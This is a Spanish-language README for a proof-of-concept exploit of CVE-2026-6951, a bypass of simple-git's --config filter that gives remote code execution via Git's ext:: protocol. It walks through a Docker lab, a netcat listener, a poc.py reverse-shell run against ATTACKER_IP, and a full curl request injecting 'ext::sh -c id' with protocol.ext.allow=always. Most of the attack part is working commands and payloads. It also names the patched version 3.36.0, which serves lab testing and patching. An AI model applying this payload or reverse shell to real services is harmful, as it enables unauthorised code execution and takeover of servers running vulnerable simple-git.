
Prueba de concepto de exploit para CVE-2026-6951, un bypass del filtro --config de simple-git que permite RCE a través del protocolo ext de Git, con un laboratorio Docker y una carga útil de reverse shell.
★ CVE-2026-6951 PoC de RCE por Bypass del Filtro de la Opción --config de simple-git ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 es una vulnerabilidad de ejecución remota de código en
simple-gitcausada por una corrección incompleta de CVE-2022-25912. Aunque la opción-cfue bloqueada, la opción equivalente--configno fue restringida adecuadamente. Un atacante que pueda controlar los argumentos de Git puede habilitar el protocoloexty ejecutar comandos arbitrarios a través de una URL de repositorioext::.
| Categoría | Versión |
|---|---|
| Vulnerable | versiones de simple-git anteriores a 3.36.0 |
| Parcheada | simple-git 3.36.0 o posterior |
Este entorno utiliza simple-git 3.35.2 y @simple-git/argv-parser 1.0.3.
Construya y ejecute el entorno vulnerable.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Acceda al servicio en:
http://127.0.0.1:9107
Verifique el estado del servicio.
curl -s http://127.0.0.1:9107/api/health
El repositorio de ejemplo integrado está disponible en:
file:///srv/git/sample.git
Inicie un listener en el sistema del atacante.
nc -lvnp 4444
Ejecute el script de explotación.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
La siguiente solicitud ejecuta el comando id abusando de la opción --config sin restricciones y del protocolo ext de Git.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git a la versión 3.36.0 o posterior.simple-git.ext::.